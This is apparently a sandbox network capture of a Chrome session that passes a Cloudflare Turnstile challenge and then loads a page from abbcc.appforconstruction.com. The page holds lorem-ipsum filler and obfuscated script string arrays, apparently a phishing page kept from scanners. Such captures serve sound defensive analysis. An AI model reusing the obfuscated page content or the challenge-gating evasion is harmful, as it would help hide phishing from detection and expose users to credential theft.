55 44 77 31 68 74 69 34 6b 71 72 2b 62 4c 36 46 58 4b 5a 35 35 34 76 4f 53 77 74 35 34 50 4c 5a 77 74 35 34 69 39 64 4d 75 31 64 5a 73 6f 42 74 35 55 68 61 Data Ascii: Lv3eZqc19RYtqAzzaTIHh+ukJDXiaiBs4HWUEw5BIiUHc7Tcty8x5BIB4DtgN1DwAS8lDdrXHTT+ZBOwykrj4lWbRxEUpaipi64RI0WtXPGaR4UC4E4ESR-U3kokIB4$lWzH8F2MRDUA3SancVLU6ZTYVBbQ4rSRnMe4sxUhqSQrKuDl85fGRX01cp8vCg2wWL$FM$BqwqPUDw1hti4kqr+bL6FXKZ554vOSwt54PLZwt54i9dMu1dZsoBt5Uha
2024-11-20 14:43:09 UTC	1321	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 14:43:09 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4552 Connection: close cf-chl-out-s: g+DsZk8upk1gYFw7vzyTAIkTKE3vxGxLYG5zQPvb+nzqH0t66iwKTmIiwfoxshE0M+BWQ62Ofcr8n2mUbLFDq2+c5bd2GLMsDtSkKXJFpbunCekfnBIlJNbjoVn9pxATbk1P0caooQ3FEQAZkAC6vUwzCQn+xHa/bGWhzzfDXTLBecuvA3HuP17a2toM9tBvyuRsismL9uaU6tnYwwOsI5uhzs2wsYfm6poumy/qiA54+mTuiwO4Qdy7koDOis5Cfx3Co28F0i2pOWcwuAsuhbl18uu/cJQIBRxZyl3Wxhj11O4J799r5WBnuQ76XHWeNFYOuS/2t3dZ42KkCELPzbTVqNjhCksgOnKcD6KOHLzSGNgpG6uXiB1eImRv5sSJ2TgskH8MEm5f4RSZDme09UIDc/i1dKAvtwbARnISvAqF7mmOBwCij4ZuwZ0hGSZ06DGbTPvLrW7bWI84dPxVtKD9xLG6iYViy9v/mspGzSoUhrj+tMKmCGc7fHbUCdrnzYp29BydWs7hQjSzkI1t4dLXG5bcEd9r1Qpaw7kFcraQsYl/qeZexCelIg2n8Cqp7qZO7XQ3lQh73lrHI3/PsHqgNVbFDlYSW7IMBIGuqmzQHepFNLAV2M7FCcd6rwJhCJdSOwXyJB9Kibio+eujci45qJd5YXhHmn0jf/eBtbfN6fdp+14xGmtv/8qQArHIqm5hirtmfRILAZKHGZ+BjkzW25lCpHlPH/TFi+MRABbfS9oBV4Q8QGXIAtAmx69p6wxBzv2RPQReyPkG/eM7zhD/9S1q6Tl5TWnsFOhUMBojbiT2gdba70ckRcJedB4Ramc6qrthCUU7LlitDiKULfWoyq40Z/CWLI1+VSG9Dvads1BCHYV1aBl3yby143RlT6iXCl4OlOMihZMUGnJo6SA=$aoU7TL7NVIZnFqGD cf-chl-out: AUGcOGzC/+5YeBrU4CkP3lDlbjhlaPyWPALdTb98Zpm4PQjoEY1RhNE59qtWbn1JObopIuAgB3a0eZpNFcZ7/zBxLxh8SXMwril5htyKs3804p0oh733yPE=$QofLND/2P94QBXzA Server: cloudflare CF-RAY: 8e5935eb8f2f4390-EWR alt-svc: h3=":443"; ma=86400
2024-11-20 14:43:09 UTC	48	IN	Data Raw: 59 6f 6c 72 64 32 4a 58 61 34 6c 6b 67 6f 47 50 59 6d 39 6c 63 34 31 59 67 33 71 55 66 34 2b 50 6d 6e 4e 31 67 33 39 79 58 70 70 31 67 35 32 4b Data Ascii: Yolrd2JXa4lkgoGPYm9lc41Yg3qUf4+PmnN1g39yXpp1g52K
2024-11-20 14:43:09 UTC	1369	IN	Data Raw: 66 70 31 6f 65 34 6d 4d 66 36 32 50 6b 72 47 58 68 6f 61 31 6d 34 79 74 74 70 4f 50 77 71 4f 30 6c 73 65 58 69 4a 69 37 71 4a 2b 6e 6d 71 79 66 70 35 7a 4f 70 4b 6e 44 78 4a 61 52 6b 4b 75 76 71 4e 79 72 74 4b 47 55 6f 64 2b 75 76 4c 62 54 70 5a 79 2b 78 61 57 67 76 63 50 68 71 2b 76 44 33 39 62 49 36 4f 62 5a 37 76 76 70 75 63 33 4b 38 4c 54 4f 37 37 76 47 34 67 54 41 39 66 6e 6a 79 63 37 65 36 63 7a 45 38 67 72 4d 41 67 30 43 32 52 66 57 38 74 6e 31 36 68 51 55 46 42 4c 78 2b 2b 50 6b 42 2b 54 37 35 42 55 76 4b 51 44 6d 34 78 34 4f 4e 65 30 68 38 7a 44 76 4a 6a 6f 78 4f 50 55 64 45 68 31 44 46 43 30 58 49 44 73 54 49 67 59 31 50 79 73 66 49 41 73 50 4c 79 6b 48 46 41 38 56 4c 30 74 58 50 43 78 65 57 53 42 67 48 7a 70 4d 57 56 35 6f 50 45 6c 42 4a 54 56 Data Ascii: fp1oe4mMf62PkrGXhoa1m4yttpOPwqO0lseXiJi7qJ+nmqyfp5zOpKnDxJaRkKuvqNyrtKGUod+uvLbTpZy+xaWgvcPhq+vD39bI6ObZ7vvpuc3K8LTO77vG4gTA9fnjyc7e6czE8grMAg0C2RfW8tn16hQUFBLx++PkB+T75BUvKQDm4x4ONe0h8zDvJjoxOPUdEh1DFC0XIDsTIgY1PysfIAsPLykHFA8VL0tXPCxeWSBgHzpMWV5oPElBJTV
2024-11-20 14:43:09 UTC	1369	IN	Data Raw: 71 71 6a 63 4b 70 75 6a 70 65 51 74 4a 71 63 73 71 32 69 6e 37 2b 52 73 62 6e 47 66 71 65 56 77 73 65 39 6e 59 69 61 77 49 6d 64 6f 38 61 6a 6b 35 57 35 6b 72 6d 78 79 71 79 31 72 62 6a 56 32 74 2f 42 35 39 75 77 32 72 69 30 34 38 58 4a 34 71 62 53 77 4d 43 7a 33 73 58 31 74 4f 6a 49 78 4f 37 56 33 4c 48 4e 38 64 2f 31 77 4f 57 2b 78 77 54 6e 41 74 51 48 36 2b 33 4c 43 76 6e 77 34 64 37 73 43 76 6a 52 2b 4e 48 70 37 66 73 56 2b 50 73 43 38 4f 33 35 46 4f 44 6a 35 77 49 4b 47 78 34 4d 44 53 66 70 48 69 63 67 41 77 30 58 45 54 59 61 4d 41 58 37 46 52 77 7a 4b 7a 4d 4f 41 77 49 78 4f 45 4d 38 4f 52 6f 4d 50 54 38 66 4a 54 38 78 43 7a 45 4f 51 43 59 69 49 30 63 6d 54 78 6c 4d 50 68 68 54 55 6a 4a 58 51 45 51 32 57 79 56 62 53 47 67 33 58 69 6c 6e 4c 56 41 72 Data Ascii: qqjcKpujpeQtJqcsq2in7+RsbnGfqeVwse9nYiawImdo8ajk5W5krmxyqy1rbjV2t/B59uw2ri048XJ4qbSwMCz3sX1tOjIxO7V3LHN8d/1wOW+xwTnAtQH6+3LCvnw4d7sCvjR+NHp7fsV+PsC8O35FODj5wIKGx4MDSfpHicgAw0XETYaMAX7FRwzKzMOAwIxOEM8ORoMPT8fJT8xCzEOQCYiI0cmTxlMPhhTUjJXQEQ2WyVbSGg3XilnLVAr
2024-11-20 14:43:09 UTC	1369	IN	Data Raw: 31 34 65 4c 70 39 68 35 52 37 6d 4a 2b 5a 6a 72 4b 30 68 70 47 64 7a 49 6d 47 78 34 71 6e 6d 70 72 55 78 59 2f 54 6b 63 36 69 78 36 75 76 6d 64 6e 5a 73 74 37 51 6d 64 71 77 75 61 57 32 34 39 66 43 74 4b 6a 63 34 4c 69 6e 78 61 6e 68 38 63 37 57 71 76 50 6a 7a 75 79 7a 36 37 57 2f 75 2f 37 78 32 73 33 63 39 41 6a 49 2b 50 50 43 79 66 76 6a 33 38 72 39 34 67 6b 53 37 76 45 59 34 64 44 6c 33 4e 73 61 46 66 76 63 34 75 45 47 37 2f 33 6c 33 75 49 44 2b 68 67 74 4b 67 62 6d 37 2f 4c 74 41 2f 48 73 41 78 72 30 4a 79 55 36 39 2f 37 35 2f 67 41 42 41 78 63 44 2f 41 45 47 52 77 74 47 47 51 41 34 53 42 45 4c 4b 51 35 42 45 6c 55 7a 55 69 4a 45 55 56 77 55 54 55 6c 63 58 31 41 7a 54 68 78 6a 48 6d 59 6f 51 53 4a 64 62 57 74 70 62 47 39 66 62 57 41 30 55 45 4e 68 64 Data Ascii: 14eLp9h5R7mJ+ZjrK0hpGdzImGx4qnmprUxY/Tkc6ix6uvmdnZst7QmdqwuaW249fCtKjc4Linxanh8c7WqvPjzuyz67W/u/7x2s3c9AjI+PPCyfvj38r94gkS7vEY4dDl3NsaFfvc4uEG7/3l3uID+hgtKgbm7/LtA/HsAxr0JyU69/75/gABAxcD/AEGRwtGGQA4SBELKQ5BElUzUiJEUVwUTUlcX1AzThxjHmYoQSJdbWtpbG9fbWA0UENhd
2024-11-20 14:43:09 UTC	397	IN	Data Raw: 7a 76 72 44 46 6a 62 4f 39 6f 49 43 69 76 4c 65 4b 79 35 2b 6c 68 36 71 6e 72 4e 53 55 71 5a 69 6a 79 4e 6d 77 32 70 79 65 74 64 33 67 6e 4b 48 68 7a 35 36 2f 34 38 4c 6e 6e 75 72 58 72 73 66 72 36 36 72 4a 38 75 54 76 71 73 50 34 2b 37 6e 36 2f 41 41 42 2f 73 72 41 77 77 54 5a 77 4d 51 47 38 77 4c 67 31 38 7a 4d 7a 41 38 4d 43 75 6e 67 41 4f 6e 57 46 67 6e 52 35 4f 67 59 32 4e 2f 73 48 43 4c 34 37 2b 51 6f 4b 53 66 6f 49 66 55 58 4d 43 30 4d 4b 52 45 76 4d 69 54 75 44 53 45 5a 4d 43 38 62 48 76 41 54 49 67 6f 37 44 7a 59 34 41 2f 6b 6d 50 41 67 57 4b 30 42 4c 4f 55 46 47 4a 45 56 46 53 55 4d 75 56 78 64 55 50 56 52 56 53 54 4a 59 58 45 49 67 49 30 49 66 4d 30 52 67 4a 7a 31 41 51 55 31 62 5a 54 42 51 53 30 64 71 50 7a 64 51 61 54 52 6b 55 31 6c 62 4f 6d Data Ascii: zvrDFjbO9oICivLeKy5+lh6qnrNSUqZijyNmw2pyetd3gnKHhz56/48LnnurXrsfr66rJ8uTvqsP4+7n6/AAB/srAwwTZwMQG8wLg18zMzA8MCungAOnWFgnR5OgY2N/sHCL47+QoKSfoIfUXMC0MKREvMiTuDSEZMC8bHvATIgo7DzY4A/kmPAgWK0BLOUFGJEVFSUMuVxdUPVRVSTJYXEIgI0IfM0RgJz1AQU1bZTBQS0dqPzdQaTRkU1lbOm

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.16	49753	104.18.94.41	443	6988	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 14:43:10 UTC	599	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1473497627:1732110465:VyCOkHO-TwwNXlMDYoynBhrxVToIwMTizF7Uj1dTvjY/8e5935826bf00f3e/hrgHGbcxXEhuDn3W7nMOe8g1AooXueRpKQCRH5i0MrM-1732113771-1.1.1.1-0B54QtazdcSFZTKgpBU7bPjw9ScnMUP.BbDTOLwMOuAnGgHY68Cd528WhLnA1RRK HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-20 14:43:10 UTC	379	IN	HTTP/1.1 404 Not Found Date: Wed, 20 Nov 2024 14:43:10 GMT Content-Type: application/json Content-Length: 7 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: YSln6pcblfsARltdBVlCjxbbpb1Hugj+tJ8=$XFV/GZdPaJAjI81R Server: cloudflare CF-RAY: 8e5935f89d8418b4-EWR alt-svc: h3=":443"; ma=86400
2024-11-20 14:43:10 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.16	49757	172.67.195.135	443	6988	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 14:43:11 UTC	927	OUT	POST /cGYxp/ HTTP/1.1 Host: abbcc.appforconstruction.com Connection: keep-alive Content-Length: 880 Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 Origin: https://abbcc.appforconstruction.com Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://abbcc.appforconstruction.com/cGYxp/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=m5gmg4i7uet7umfcjh37ca7utv
2024-11-20 14:43:11 UTC	880	OUT	Data Raw: 63 66 2d 74 75 72 6e 73 74 69 6c 65 2d 72 65 73 70 6f 6e 73 65 3d 30 2e 6a 49 65 73 70 73 35 30 36 37 63 53 4c 64 6c 4e 72 77 33 71 51 35 66 6b 63 4a 55 74 4f 6c 79 62 4d 52 61 35 66 4f 63 35 2d 38 7a 37 49 6f 37 73 36 56 30 6c 75 38 39 49 74 76 73 55 4f 65 77 4e 78 79 6d 36 4c 7a 6e 50 58 4d 30 6b 38 6a 47 34 45 50 5a 4a 55 50 6f 75 76 50 68 54 2d 5a 36 46 54 2d 4e 47 50 48 4d 46 56 54 72 46 36 61 42 74 31 36 52 6b 70 31 34 5f 44 55 4e 6b 42 68 30 78 75 6d 44 34 78 52 75 46 46 43 46 49 2d 41 44 34 41 54 44 67 51 39 6d 4d 69 50 68 62 64 69 51 42 47 7a 52 41 54 75 78 57 6c 7a 4f 43 57 4f 59 56 79 6d 49 72 47 43 5f 57 77 35 30 44 49 58 43 47 36 62 49 2d 49 52 71 71 50 36 59 32 56 45 68 37 77 31 33 41 72 57 2d 76 78 62 69 77 55 58 30 6e 39 4d 78 76 79 30 77 Data Ascii: cf-turnstile-response=0.jIesps5067cSLdlNrw3qQ5fkcJUtOlybMRa5fOc5-8z7Io7s6V0lu89ItvsUOewNxym6LznPXM0k8jG4EPZJUPouvPhT-Z6FT-NGPHMFVTrF6aBt16Rkp14_DUNkBh0xumD4xRuFFCFI-AD4ATDgQ9mMiPhbdiQBGzRATuxWlzOCWOYVymIrGC_Ww50DIXCG6bI-IRqqP6Y2VEh7w13ArW-vxbiwUX0n9Mxvy0w
2024-11-20 14:43:13 UTC	916	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 14:43:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/8.0.30 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vWGi27LIB7lEg1vYHOhg%2BiQFf48WMhSiNW7WvXoXk%2BKGu6OcBlufrNNZcu4OwRXKEzgKFrla9X7QJ2JznSF%2FpulOnqvNNVzUQCGe6NYK91KPnB%2BEtcfI0lkARKWZ8QsaibMJBJEOUVj0u6PKhYFE"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e5935ff7d87440b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1909&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2858&recv_bytes=2407&delivery_rate=1656267&cwnd=227&unsent_bytes=0&cid=f0de5720cb396410&ts=1545&x=0"
2024-11-20 14:43:13 UTC	453	IN	Data Raw: 33 35 62 62 0d 0a 3c 21 2d 2d 20 3c 73 70 61 6e 3e 46 75 67 69 61 74 20 75 74 20 62 72 65 73 61 6f 6c 61 2c 20 6c 6f 72 65 6d 20 73 68 61 6e 6b 20 6d 61 67 6e 61 20 70 72 6f 73 63 69 75 74 74 6f 20 62 75 72 67 64 6f 67 67 65 6e 2e 20 49 70 73 75 6d 20 6c 61 6e 64 6a 61 65 67 65 72 20 72 69 62 65 79 65 20 63 68 75 63 6b 2c 20 65 78 20 63 61 70 69 63 6f 6c 61 20 65 73 74 20 6d 69 6e 69 6d 20 6d 65 61 74 62 61 6c 6c 20 63 6f 6d 6d 6f 64 6f 20 6c 61 62 6f 72 69 73 20 70 6f 72 6b 20 62 65 6c 6c 79 20 66 75 67 69 61 74 2e 20 54 75 72 6b 65 79 20 61 6c 63 61 74 72 61 20 62 65 65 66 20 6e 69 73 69 20 63 6f 6e 73 65 71 75 61 74 20 75 74 2e 20 49 70 73 75 6d 20 66 75 67 69 61 74 20 68 61 6d 20 63 6f 72 6e 65 64 20 62 65 65 66 2c 20 70 6f 72 6b 20 65 74 20 64 75 69 Data Ascii: 35bb... <span>Fugiat ut bresaola, lorem shank magna prosciutto burgdoggen. Ipsum landjaeger ribeye chuck, ex capicola est minim meatball commodo laboris pork belly fugiat. Turkey alcatra beef nisi consequat ut. Ipsum fugiat ham corned beef, pork et dui
2024-11-20 14:43:13 UTC	1369	IN	Data Raw: 2e 20 4c 61 62 6f 72 75 6d 20 72 69 62 65 79 65 20 76 65 6e 69 73 6f 6e 20 63 68 69 73 6c 69 63 20 70 72 6f 73 63 69 75 74 74 6f 2e 20 44 75 69 73 20 6c 61 6e 64 6a 61 65 67 65 72 20 70 6f 72 63 68 65 74 74 61 20 65 73 73 65 20 73 68 6f 72 74 20 72 69 62 73 20 62 69 6c 74 6f 6e 67 20 73 69 72 6c 6f 69 6e 20 6c 6f 72 65 6d 2e 20 50 6f 72 63 68 65 74 74 61 20 73 75 6e 74 20 63 6f 6d 6d 6f 64 6f 20 66 61 74 62 61 63 6b 20 73 68 6f 75 6c 64 65 72 20 74 65 6e 64 65 72 6c 6f 69 6e 20 75 74 20 66 6c 61 6e 6b 20 65 78 20 65 74 20 70 61 73 74 72 61 6d 69 20 73 74 72 69 70 20 73 74 65 61 6b 2e 20 4d 65 61 74 6c 6f 61 66 20 75 6c 6c 61 6d 63 6f 20 73 68 6f 72 74 20 72 69 62 73 20 62 75 66 66 61 6c 6f 20 63 61 70 69 63 6f 6c 61 20 76 65 6e 69 73 6f 6e 20 63 75 70 69 Data Ascii: . Laborum ribeye venison chislic prosciutto. Duis landjaeger porchetta esse short ribs biltong sirloin lorem. Porchetta sunt commodo fatback shoulder tenderloin ut flank ex et pastrami strip steak. Meatloaf ullamco short ribs buffalo capicola venison cupi
2024-11-20 14:43:13 UTC	1369	IN	Data Raw: 6c 6f 72 65 20 61 6e 64 6f 75 69 6c 6c 65 20 65 61 20 61 6c 69 71 75 69 70 20 74 65 6d 70 6f 72 20 64 6f 6e 65 72 20 73 75 6e 74 20 64 6f 6c 6f 72 20 74 75 72 64 75 63 6b 65 6e 2e 20 53 70 61 72 65 20 72 69 62 73 20 73 68 6f 75 6c 64 65 72 20 62 72 65 73 61 6f 6c 61 2c 20 70 72 6f 73 63 69 75 74 74 6f 20 65 78 20 6e 75 6c 6c 61 20 63 6f 72 6e 65 64 20 62 65 65 66 20 64 6f 6c 6f 72 20 65 6c 69 74 20 68 61 6d 20 68 6f 63 6b 20 65 78 63 65 70 74 65 75 72 2e 20 41 6c 63 61 74 72 61 20 64 65 73 65 72 75 6e 74 20 6f 66 66 69 63 69 61 20 62 6f 75 64 69 6e 2e 20 43 6f 6d 6d 6f 64 6f 20 62 69 6c 74 6f 6e 67 20 70 61 72 69 61 74 75 72 2c 20 70 72 6f 69 64 65 6e 74 20 70 6f 72 63 68 65 74 74 61 20 70 6f 72 6b 20 64 6f 6c 6f 72 20 76 65 6e 69 73 6f 6e 20 62 65 65 66 Data Ascii: lore andouille ea aliquip tempor doner sunt dolor turducken. Spare ribs shoulder bresaola, prosciutto ex nulla corned beef dolor elit ham hock excepteur. Alcatra deserunt officia boudin. Commodo biltong pariatur, proident porchetta pork dolor venison beef
2024-11-20 14:43:13 UTC	1369	IN	Data Raw: 2c 41 5f 35 47 78 7c 27 2c 27 29 62 61 21 3b 42 2b 3c 7e 67 69 6a 4e 6c 3c 47 6c 7c 27 2c 27 3a 55 26 29 4a 3a 2f 27 2c 27 3a 55 52 74 4f 45 74 75 27 2c 27 3a 55 52 74 4f 45 77 72 36 67 27 2c 27 49 4d 3d 78 27 2c 27 3e 57 35 56 27 2c 27 75 5f 5e 36 62 23 6a 72 5e 27 2c 27 72 44 41 40 47 60 51 72 41 27 2c 27 22 42 57 55 2b 40 6b 75 27 2c 27 7c 4f 30 63 33 3e 30 73 2e 55 23 40 76 44 65 3c 3b 42 56 21 32 7b 65 52 54 3e 47 4a 3b 7b 62 7c 52 42 43 75 5d 64 48 68 72 44 73 54 2a 7b 67 27 2c 27 77 55 5b 2b 6b 33 7b 41 3b 67 44 2a 6c 3d 3b 4c 71 6f 2e 75 57 4e 5a 75 5b 5d 31 79 7d 74 46 74 6d 44 4a 79 4a 7b 6a 65 2f 67 38 7d 62 57 27 2c 27 65 28 41 75 62 26 67 72 30 67 27 2c 27 3a 38 32 7e 4a 39 70 4b 46 33 48 6f 22 28 28 6c 51 4e 3c 74 53 27 2c 27 69 29 26 55 77 Data Ascii: ,A_5Gx\|',')ba!;B+<~gijNl<Gl\|',':U&)J:/',':URtOEtu',':URtOEwr6g','IM=x','>W5V','u_^6b#jr^','rDA@G`QrA','"BWU+@ku','\|O0c3>0s.U#@vDe<;BV!2{eRT>GJ;{b\|RBCu]dHhrDsT{g','wU[+k3{A;gDl=;Lqo.uWNZu[]1y}tFtmDJyJ{je/g8}bW','e(Aub&gr0g',':82~J9pKF3Ho"((lQN<tS','i)&Uw
2024-11-20 14:43:13 UTC	1369	IN	Data Raw: 76 6f 6e 4e 5e 46 28 28 60 4b 55 27 2c 27 3a 57 71 4a 79 5b 4d 52 2f 3f 58 7d 59 74 55 46 74 60 69 41 27 2c 27 50 60 65 56 7d 79 24 76 37 2e 41 6e 5a 4b 3e 63 34 69 57 27 2c 27 33 47 43 40 73 35 75 72 22 51 3a 28 6a 38 50 59 63 70 27 2c 27 71 3f 22 6d 26 7d 2b 3c 57 27 2c 27 4b 4d 47 68 35 37 45 24 3a 60 4a 6a 7d 2c 2b 43 2f 2b 55 69 49 54 3b 2f 2a 4b 66 76 24 4d 4d 4f 26 61 25 55 50 26 51 28 6c 4f 27 2c 27 49 58 56 32 4d 3e 2f 47 55 48 4e 26 5b 59 2f 7c 77 26 3f 76 3e 76 66 4b 63 67 5d 28 52 57 40 5a 2b 61 40 25 52 71 2b 76 4d 27 2c 27 23 2e 29 69 30 2f 78 63 65 4b 23 62 24 3e 73 6c 27 2c 27 48 5e 5b 25 62 73 7e 70 27 2c 27 5f 4a 2e 4d 53 40 5f 5b 4b 30 67 6f 2f 4b 53 47 3d 6f 6a 48 31 21 2f 68 4c 2e 28 3d 79 38 57 68 35 4a 57 27 2c 27 52 37 3a 62 69 24 Data Ascii: vonN^F((`KU',':WqJy[MR/?X}YtUFt`iA','P`eV}y$v7.AnZK>c4iW','3GC@s5ur"Q:(j8PYcp','q?"m&}+<W','KMGh57E$:`Jj},+C/+UiIT;/*Kfv$MMO&a%UP&Q(lO','IXV2M>/GUHN&[Y/\|w&?v>vfKcg](RW@Z+a@%Rq+vM','#.)i0/xceK#b$>sl','H^[%bs~p','_J.MS@_[K0go/KSG=ojH1!/hL.(=y8Wh5JW','R7:bi$
2024-11-20 14:43:13 UTC	1369	IN	Data Raw: 64 37 69 70 21 6c 47 40 52 50 29 2b 66 37 6c 56 27 2c 27 3d 60 4d 41 75 76 7e 71 26 6a 4a 54 57 28 4c 59 7b 3f 52 74 48 5b 2e 72 37 66 35 7e 76 2f 65 6e 75 61 71 69 27 2c 27 66 62 4b 7d 64 60 28 4e 53 46 6f 27 2c 27 31 7e 7b 7e 30 2f 22 29 50 33 36 24 5a 5f 54 4f 27 2c 27 77 2e 28 56 6a 21 37 69 4d 56 23 26 3c 6e 3a 42 77 3f 32 37 5b 54 75 4e 49 33 50 54 53 6f 3e 42 27 2c 27 6f 5e 66 62 3e 38 5e 37 4d 27 2c 27 3e 2e 3c 32 4c 60 70 46 3f 60 45 54 5f 2a 52 73 6a 70 27 2c 27 5a 4f 6a 63 4e 6f 52 72 5f 6b 27 2c 27 63 44 24 69 73 21 60 4e 30 2e 2a 22 26 59 42 54 46 4e 51 48 27 2c 27 3d 56 4a 79 4a 75 3e 6b 33 2e 42 48 4e 6f 43 63 37 23 61 48 4a 35 49 27 2c 27 7d 38 41 68 2b 54 22 33 72 51 35 22 45 6d 6e 74 5a 6f 7e 7d 7e 2f 74 63 3a 44 5f 35 61 3d 35 74 3a 56 Data Ascii: d7ip!lG@RP)+f7lV','=`MAuv~q&jJTW(LY{?RtH[.r7f5~v/enuaqi','fbK}d`(NSFo','1~{~0/")P36$Z_TO','w.(Vj!7iMV#&<n:Bw?27[TuNI3PTSo>B','o^fb>8^7M','>.<2L`pF?`ET_Rsjp','ZOjcNoRr_k','cD$is!`N0."&YBTFNQH','=VJyJu>k3.BHNoCc7#aHJ5I','}8Ah+T"3rQ5"EmntZo~}~/tc:D_5a=5t:V
2024-11-20 14:43:13 UTC	1369	IN	Data Raw: 22 63 5f 55 70 32 45 38 5d 7c 60 33 31 60 35 75 4a 72 27 2c 27 2a 5e 7a 2b 74 47 4a 51 3f 56 2c 22 4a 6e 24 64 2f 67 41 56 28 2a 79 33 69 5d 53 7d 70 2a 6f 43 6b 4c 59 48 52 40 6a 2f 25 51 58 27 2c 27 28 61 6e 32 2f 79 64 70 27 2c 27 2e 57 24 76 32 7d 2e 68 79 30 2a 53 38 74 79 5a 7b 3f 68 7d 32 5a 3b 68 3d 29 61 67 51 2b 58 5a 3c 2e 57 25 4c 75 49 27 2c 27 66 4e 79 40 7e 64 67 52 64 2f 50 38 50 6e 28 5a 7b 54 39 25 2a 38 39 3c 4b 3a 3e 62 5f 52 53 3c 3c 38 3f 62 58 26 28 75 38 33 3f 67 28 4b 31 3c 27 2c 27 3a 61 69 43 6a 75 6c 71 3e 66 57 5f 57 5a 2b 6f 28 5e 56 62 28 5b 24 63 4c 6a 28 3d 44 67 7b 74 32 2e 71 4d 3a 3e 26 70 27 2c 27 5d 60 66 63 22 7d 2f 37 4f 29 76 27 2c 27 42 42 34 75 68 2b 33 29 6c 4f 7e 35 57 25 6a 47 3b 5e 35 56 5d 7a 79 4b 45 60 4b Data Ascii: "c_Up2E8]\|`31`5uJr','^z+tGJQ?V,"Jn$d/gAV(y3i]S}poCkLYHR@j/%QX','(an2/ydp','.W$v2}.hy0S8tyZ{?h}2Z;h=)agQ+XZ<.W%LuI','fNy@~dgRd/P8Pn(Z{T9%*89<K:>b_RS<<8?bX&(u83?g(K1<',':aiCjulq>fW_WZ+o(^Vb([$cLj(=Dg{t2.qM:>&p',']`fc"}/7O)v','BB4uh+3)lO~5W%jG;^5V]zyKE`K
2024-11-20 14:43:13 UTC	1369	IN	Data Raw: 42 41 27 2c 27 32 7c 6e 5f 5e 4b 7a 41 27 2c 27 79 5d 69 56 27 2c 27 2b 4e 4d 28 25 27 2c 27 2c 57 38 56 74 27 2c 27 65 76 52 56 62 2b 49 27 2c 27 63 56 2e 4a 52 30 32 78 49 3e 5a 43 64 28 5b 6c 4c 42 52 3d 3c 5f 4e 5d 26 66 62 78 2c 3d 56 6c 77 7e 36 26 7e 7a 3d 4b 53 5d 3f 35 58 30 73 68 7d 4c 43 56 24 75 22 33 6e 3a 6e 6f 62 2b 3f 6f 75 6a 4a 79 23 76 56 41 67 6b 3e 4d 6d 38 35 4c 3a 57 7c 2a 51 59 7c 4e 74 4f 51 32 55 38 29 42 74 6f 53 43 38 3d 6b 55 21 55 5a 5b 78 2b 31 4a 33 56 6c 60 31 39 71 3c 41 7d 74 76 7c 6c 38 47 3f 76 70 62 3e 76 63 73 4c 3f 4c 54 43 2c 64 43 38 2b 68 3d 6e 25 4e 68 7a 33 30 23 55 74 63 63 52 6a 5b 37 6c 47 2b 4b 57 56 74 2e 77 24 68 68 3f 26 28 75 5e 37 4b 71 58 67 46 76 4b 38 2f 3c 59 4c 79 25 3e 28 4d 68 3b 7e 30 66 51 2b Data Ascii: BA','2\|n_^KzA','y]iV','+NM(%',',W8Vt','evRVb+I','cV.JR02xI>ZCd([lLBR=<_N]&fbx,=Vlw~6&~z=KS]?5X0sh}LCV$u"3n:nob+?oujJy#vVAgk>Mm85L:W\|*QY\|NtOQ2U8)BtoSC8=kU!UZ[x+1J3Vl`19q<A}tv\|l8G?vpb>vcsL?LTC,dC8+h=n%Nhz30#UtccRj[7lG+KWVt.w$hh?&(u^7KqXgFvK8/<YLy%>(Mh;~0fQ+
